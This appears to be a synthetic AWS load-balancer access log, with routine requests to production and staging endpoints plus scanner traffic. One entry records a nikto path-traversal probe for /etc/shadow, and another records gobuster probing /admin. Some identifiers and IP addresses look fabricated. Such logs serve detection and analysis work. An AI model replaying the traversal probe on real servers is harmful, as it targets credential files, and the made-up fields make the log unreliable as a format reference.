2024-11-01T01:25:57.008551Z prod-web-alb 29.49.71.70:54805 10.0.85.241:443 0.002447 0.265319 0.093125 302 302 94 12201 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbb5-30e2925717fa45e69effb29a" "prod-web-alb.example.com" "-" 7 2024-11-01T01:25:57.008551Z "forward" "-" "-" "10.0.85.241:443" "302" "-" "-" -https 2024-11-01T01:25:58.883419Z prod-api-alb 93.188.235.28:19425 10.0.191.142:443 0.046561 0.343545 0.025718 301 301 396 1442 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbb6-3881b27ca03548bf85ddb862" "prod-api-alb.example.com" "-" 4 2024-11-01T01:25:58.883419Z "forward" "-" "-" "10.0.191.142:443" "301" "-" "-" -https 2024-11-01T01:26:00.844476Z prod-api-alb 45.155.205.157:49920 10.0.152.6:443 0.077730 0.305219 0.072532 404 404 982 1428 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbb8-66930a1b3c374a0386df47d6" "-" "-" 9 2024-11-01T01:26:00.844476Z "forward" "-" "-" "10.0.152.6:443" "404" "-" "-" -https 2024-11-01T01:26:02.018120Z staging-alb 27.36.222.91:50144 10.70.57.59:80 0.017694 0.280500 0.100639 302 302 860 13617 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbba-9eb1ed6e473e4a9a8d3df347" "staging-alb.example.com" "-" 8 2024-11-01T01:26:02.018120Z "forward" "-" "-" "10.70.57.59:80" "302" "-" "-" -http 2024-11-01T01:26:02.976336Z staging-alb 20.159.20.236:58111 225.99.225.206:80 0.100285 0.733561 0.080662 200 200 28 3724 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbba-fadb554a4876421ba1cc2b6a" "staging-alb.example.com" "-" 1 2024-11-01T01:26:02.976336Z "forward" "-" "-" "225.99.225.206:80" "200" "-" "-" -https 2024-11-01T01:26:03.322038Z prod-api-alb 80.253.222.124:24269 10.0.8.165:443 0.019473 0.112866 0.047406 200 200 728 14766 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbbb-2474cc69ad154ce19c4bbe8c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:26:03.322038Z "forward" "-" "-" "10.0.8.165:443" "200" "-" "-" -https 2024-11-01T01:26:03.838572Z prod-api-alb 143.0.85.145:59403 10.0.220.86:443 0.036539 0.491052 0.016841 200 200 700 3107 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbbb-8315054aedcb440fbc066537" "-" "-" 3 2024-11-01T01:26:03.838572Z "forward" "-" "-" "10.0.220.86:443" "200" "-" "-" -http 2024-11-01T01:26:05.535678Z staging-alb 6.96.133.95:57116 127.187.115.176:443 0.075331 0.524367 0.028085 200 200 953 11485 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbbd-ec42d16b78844a7ba25ee13f" "-" "-" 2 2024-11-01T01:26:05.535678Z "forward" "-" "-" "127.187.115.176:443" "200" "-" "-" -https 2024-11-01T01:26:06.829796Z prod-api-alb 9.126.208.156:48727 10.0.107.250:443 0.068358 0.262916 0.093114 404 404 977 2914 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbbe-7bc3024262114c988ca67fac" "prod-api-alb.example.com" "-" 3 2024-11-01T01:26:06.829796Z "forward" "-" "-" "10.0.107.250:443" "404" "-" "-" -https 2024-11-01T01:26:08.350149Z prod-api-alb 89.7.5.37:17399 10.0.177.244:443 0.006521 0.337340 0.044680 404 404 464 501 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbc0-aff68462eb224035afddf135" "prod-api-alb.example.com" "-" 4 2024-11-01T01:26:08.350149Z "forward" "-" "-" "10.0.177.244:443" "404" "-" "-" -https 2024-11-01T01:26:10.165417Z prod-api-alb 242.127.111.70:16838 10.0.255.152:443 0.093678 0.002911 0.043317 200 200 628 2610 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbc2-dc8839f2149c47c89a9880bc" "prod-api-alb.example.com" "-" 4 2024-11-01T01:26:10.165417Z "forward" "-" "-" "10.0.255.152:443" "200" "-" "-" -http 2024-11-01T01:26:12.160283Z staging-alb 45.155.205.208:53904 132.38.110.192:8080 0.118616 0.489698 0.000995 301 301 495 13176 "POST /admin HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbc4-e90a071e057149ceb307fefa" "-" "-" 0 2024-11-01T01:26:12.160283Z "forward" "-" "-" "132.38.110.192:8080" "301" "-" "-" -https 2024-11-01T01:26:12.391739Z prod-web-alb 83.200.224.234:51773 10.0.35.138:443 0.054132 0.433695 0.040560 302 302 950 14378 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbc4-2fae3c64a5e540eb881b2095" "-" "-" 10 2024-11-01T01:26:12.391739Z "forward" "-" "-" "10.0.35.138:443" "302" "-" "-" -https 2024-11-01T01:26:14.293992Z prod-web-alb 104.90.85.72:58478 10.0.138.117:443 0.083882 0.211791 0.018012 302 302 144 13707 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbc6-1ea5fb2ce1d34531bce53c33" "prod-web-alb.example.com" "-" 6 2024-11-01T01:26:14.293992Z "forward" "-" "-" "10.0.138.117:443" "302" "-" "-" -https 2024-11-01T01:26:14.611654Z staging-alb 74.8.78.107:57970 184.112.8.233:80 0.004711 0.070974 0.120562 301 301 539 10133 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbc6-8401217a79ed4b8fba9f6dbf" "staging-alb.example.com" "-" 6 2024-11-01T01:26:14.611654Z "forward" "-" "-" "184.112.8.233:80" "301" "-" "-" -https 2024-11-01T01:26:15.671652Z prod-web-alb 94.154.87.131:15815 10.0.251.233:443 0.081303 0.055758 0.061966 301 301 934 3953 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbc7-7fa82bd8dce045be9a1f5f66" "prod-web-alb.example.com" "-" 5 2024-11-01T01:26:15.671652Z "forward" "-" "-" "10.0.251.233:443" "301" "-" "-" -https 2024-11-01T01:26:17.128076Z prod-api-alb 77.143.227.87:50267 10.0.42.157:443 0.004067 0.352143 0.021205 404 404 447 6670 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbc9-91b0601fd60345be9de0b154" "prod-api-alb.example.com" "-" 5 2024-11-01T01:26:17.128076Z "forward" "-" "-" "10.0.42.157:443" "404" "-" "-" -https 2024-11-01T01:26:19.111877Z prod-web-alb 2.195.46.253:14825 10.0.180.183:443 0.098746 0.199695 0.062807 200 200 395 9572 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbcb-5d352558e6ca492b9205dc6f" "prod-web-alb.example.com" "-" 10 2024-11-01T01:26:19.111877Z "forward" "-" "-" "10.0.180.183:443" "200" "-" "-" -https 2024-11-01T01:26:20.529026Z prod-web-alb 141.229.65.129:14177 10.0.145.22:443 0.005156 0.044038 0.067149 302 302 145 2612 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbcc-1f36e5d21a744d6eb26a244f" "prod-web-alb.example.com" "-" 2 2024-11-01T01:26:20.529026Z "forward" "-" "-" "10.0.145.22:443" "302" "-" "-" -https 2024-11-01T01:26:22.169541Z prod-web-alb 19.77.152.201:23626 10.0.227.176:443 0.034449 0.098212 0.094678 200 200 177 4504 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbce-11e3cfe94d064faf9e50be0c" "prod-web-alb.example.com" "-" 5 2024-11-01T01:26:22.169541Z "forward" "-" "-" "10.0.227.176:443" "200" "-" "-" -http 2024-11-01T01:26:23.760509Z staging-alb 89.144.62.73:19338 198.172.4.115:8080 0.142168 0.714043 0.087582 301 301 395 5290 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbcf-dc916edda9404238b50fa761" "staging-alb.example.com" "-" 9 2024-11-01T01:26:23.760509Z "forward" "-" "-" "198.172.4.115:8080" "301" "-" "-" -http 2024-11-01T01:26:24.410606Z staging-alb 28.195.102.15:61091 72.231.176.206:8080 0.041136 0.237204 0.002688 200 200 101 11073 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbd0-03ae07d91ab14de7b53ca39a" "staging-alb.example.com" "-" 0 2024-11-01T01:26:24.410606Z "forward" "-" "-" "72.231.176.206:8080" "200" "-" "-" -https 2024-11-01T01:26:26.029076Z prod-web-alb 250.92.120.129:37546 10.0.230.112:443 0.072582 0.129835 0.021877 200 200 332 6670 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbd2-7ff02b547dff471292a19475" "prod-web-alb.example.com" "-" 5 2024-11-01T01:26:26.029076Z "forward" "-" "-" "10.0.230.112:443" "200" "-" "-" -https 2024-11-01T01:26:26.182310Z prod-web-alb 168.227.51.97:30048 10.0.208.173:443 0.059800 0.276371 0.048821 200 200 240 1722 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbd2-14955fe6c12b4d53bb1434dc" "prod-web-alb.example.com" "-" 8 2024-11-01T01:26:26.182310Z "forward" "-" "-" "10.0.208.173:443" "200" "-" "-" -https 2024-11-01T01:26:26.412575Z prod-web-alb 92.183.217.182:29962 10.0.10.17:443 0.026564 0.213538 0.019162 301 301 664 2882 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbd2-d464ed8101cd43dbb8e06371" "prod-web-alb.example.com" "-" 8 2024-11-01T01:26:26.412575Z "forward" "-" "-" "10.0.10.17:443" "301" "-" "-" -https 2024-11-01T01:26:28.397572Z prod-api-alb 140.127.231.96:46005 10.0.122.152:443 0.052713 0.134854 0.084894 200 200 820 4495 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbd4-403a28320aad46058fe75b3c" "prod-api-alb.example.com" "-" 10 2024-11-01T01:26:28.397572Z "forward" "-" "-" "10.0.122.152:443" "200" "-" "-" -https 2024-11-01T01:26:29.758434Z prod-web-alb 240.81.40.193:39453 10.0.142.128:443 0.010984 0.471589 0.082654 302 302 712 10970 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbd5-dbd647b2db424cf19a362321" "prod-web-alb.example.com" "-" 8 2024-11-01T01:26:29.758434Z "forward" "-" "-" "10.0.142.128:443" "302" "-" "-" -https 2024-11-01T01:26:30.904949Z staging-alb 23.210.197.127:36156 251.161.51.91:443 0.039050 0.583680 0.017391 301 301 679 13590 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbd6-03206585a5b74284b6ec2f8e" "staging-alb.example.com" "-" 3 2024-11-01T01:26:30.904949Z "forward" "-" "-" "251.161.51.91:443" "301" "-" "-" -https 2024-11-01T01:26:32.396027Z prod-web-alb 95.127.245.105:30334 10.0.174.185:443 0.010138 0.445504 0.090977 404 404 36 6722 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbd8-1a12d1c4d83048799ad23d11" "prod-web-alb.example.com" "-" 0 2024-11-01T01:26:32.396027Z "forward" "-" "-" "10.0.174.185:443" "404" "-" "-" -https 2024-11-01T01:26:32.502579Z prod-api-alb 251.195.144.128:28878 10.0.83.85:443 0.027020 0.300298 0.013056 301 301 778 12292 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbd8-1ccd8723a01a42db81642147" "prod-api-alb.example.com" "-" 6 2024-11-01T01:26:32.502579Z "forward" "-" "-" "10.0.83.85:443" "301" "-" "-" -https 2024-11-01T01:26:33.628278Z prod-api-alb 243.45.165.46:60149 10.0.31.159:443 0.058247 0.101866 0.090625 200 200 478 13628 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbd9-3f9855ae52ce4026be477487" "prod-api-alb.example.com" "-" 10 2024-11-01T01:26:33.628278Z "forward" "-" "-" "10.0.31.159:443" "200" "-" "-" -https 2024-11-01T01:26:34.302524Z prod-api-alb 98.84.210.250:30892 10.0.135.167:443 0.072141 0.361535 0.099254 404 404 874 13825 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbda-1b6d89715e664e6e9fb25fac" "prod-api-alb.example.com" "-" 10 2024-11-01T01:26:34.302524Z "forward" "-" "-" "10.0.135.167:443" "404" "-" "-" -http 2024-11-01T01:26:36.294275Z staging-alb 103.23.17.88:51525 34.76.99.22:443 0.028739 0.480007 0.087923 200 200 560 5326 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbdc-32f55eb8f26d472485f174c6" "-" "-" 5 2024-11-01T01:26:36.294275Z "forward" "-" "-" "34.76.99.22:443" "200" "-" "-" -https 2024-11-01T01:26:38.272274Z prod-web-alb 185.199.167.18:58875 10.0.248.36:443 0.003738 0.337206 0.034620 301 301 107 12399 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbde-df8496d168a94a518b45320e" "prod-web-alb.example.com" "-" 8 2024-11-01T01:26:38.272274Z "forward" "-" "-" "10.0.248.36:443" "301" "-" "-" -https 2024-11-01T01:26:39.547413Z prod-web-alb 204.171.121.160:59613 10.0.125.86:443 0.052486 0.188741 0.033100 200 200 235 2659 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbdf-1843d147ff1e48ee83ead41f" "prod-web-alb.example.com" "-" 10 2024-11-01T01:26:39.547413Z "forward" "-" "-" "10.0.125.86:443" "200" "-" "-" -https 2024-11-01T01:26:40.456969Z staging-alb 160.134.202.24:54415 110.43.98.52:443 0.051559 0.224793 0.050217 302 302 159 1823 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbe0-e7afd90b669f483fa91f0b34" "staging-alb.example.com" "-" 8 2024-11-01T01:26:40.456969Z "forward" "-" "-" "110.43.98.52:443" "302" "-" "-" -http 2024-11-01T01:26:41.334238Z staging-alb 235.13.51.94:22330 199.220.104.157:8080 0.042170 0.543899 0.058877 404 404 50 11994 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbe1-4068b150c3dd46a8aa18cbe9" "staging-alb.example.com" "-" 3 2024-11-01T01:26:41.334238Z "forward" "-" "-" "199.220.104.157:8080" "404" "-" "-" -https 2024-11-01T01:26:43.265855Z prod-api-alb 245.91.56.183:57723 10.0.86.202:443 0.061005 0.449533 0.068676 200 200 364 13633 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbe3-852fe35b2ce8452d88d47d78" "prod-api-alb.example.com" "-" 10 2024-11-01T01:26:43.265855Z "forward" "-" "-" "10.0.86.202:443" "200" "-" "-" -https 2024-11-01T01:26:44.610767Z prod-api-alb 54.53.74.58:48779 10.0.95.140:443 0.014916 0.237388 0.061590 200 200 903 10525 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbe4-21a621ff366b4b46b2a11034" "prod-api-alb.example.com" "-" 7 2024-11-01T01:26:44.610767Z "forward" "-" "-" "10.0.95.140:443" "200" "-" "-" -https 2024-11-01T01:26:46.160612Z prod-api-alb 128.159.118.244:50191 10.0.24.159:443 0.030450 0.357416 0.028513 301 301 652 6877 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbe6-098db7bd8a6f4abb8f262d8b" "prod-api-alb.example.com" "-" 4 2024-11-01T01:26:46.160612Z "forward" "-" "-" "10.0.24.159:443" "301" "-" "-" -https 2024-11-01T01:26:47.495589Z prod-api-alb 109.65.252.105:43995 10.0.249.132:443 0.041636 0.199291 0.035316 200 200 33 2960 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbe7-643a41abdec64d90bbb3b0fb" "prod-api-alb.example.com" "-" 7 2024-11-01T01:26:47.495589Z "forward" "-" "-" "10.0.249.132:443" "200" "-" "-" -https 2024-11-01T01:26:49.241398Z staging-alb 61.179.33.128:30928 245.221.169.139:8080 0.008906 0.099481 0.133131 404 404 654 4963 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbe9-e9b2c9da2cef4d54b865b889" "staging-alb.example.com" "-" 7 2024-11-01T01:26:49.241398Z "forward" "-" "-" "245.221.169.139:8080" "404" "-" "-" -https 2024-11-01T01:26:51.065025Z prod-web-alb 77.56.74.230:63767 10.0.223.110:443 0.008446 0.201979 0.056507 200 200 525 9682 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbeb-c736c6cb723346e6b9277f92" "prod-web-alb.example.com" "-" 4 2024-11-01T01:26:51.065025Z "forward" "-" "-" "10.0.223.110:443" "200" "-" "-" -https 2024-11-01T01:26:53.031965Z staging-alb 187.35.125.101:54714 146.199.237.116:8080 0.121290 0.412345 0.133929 200 200 109 12823 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbed-8c9a40e4548a4c4bb4e59155" "staging-alb.example.com" "-" 6 2024-11-01T01:26:53.031965Z "forward" "-" "-" "146.199.237.116:8080" "200" "-" "-" -https 2024-11-01T01:26:53.969096Z prod-web-alb 59.254.149.251:15115 10.0.240.110:443 0.095478 0.280174 0.091872 200 200 168 4147 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbed-e88f5fdc3ad04763b7eac795" "prod-web-alb.example.com" "-" 2 2024-11-01T01:26:53.969096Z "forward" "-" "-" "10.0.240.110:443" "200" "-" "-" -https 2024-11-01T01:26:55.064478Z prod-web-alb 139.167.59.185:45424 10.0.212.109:443 0.034502 0.474959 0.013115 301 301 951 4894 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbef-6bc304711a6b4da288d587a2" "prod-web-alb.example.com" "-" 4 2024-11-01T01:26:55.064478Z "forward" "-" "-" "10.0.212.109:443" "301" "-" "-" -https 2024-11-01T01:26:55.900216Z prod-api-alb 234.214.173.132:20625 10.0.158.117:443 0.000103 0.312995 0.091978 302 302 414 7002 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbef-9e03ddc912214787adf5b269" "prod-api-alb.example.com" "-" 7 2024-11-01T01:26:55.900216Z "forward" "-" "-" "10.0.158.117:443" "302" "-" "-" -http 2024-11-01T01:26:57.236101Z staging-alb 184.202.196.145:45761 219.60.213.41:443 0.051328 0.092686 0.038894 200 200 181 4960 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbf1-dcd38f616f154b7792bd84e3" "staging-alb.example.com" "-" 4 2024-11-01T01:26:57.236101Z "forward" "-" "-" "219.60.213.41:443" "200" "-" "-" -https 2024-11-01T01:26:58.284103Z staging-alb 189.98.52.205:40264 205.76.152.81:80 0.007363 0.663322 0.010696 301 301 790 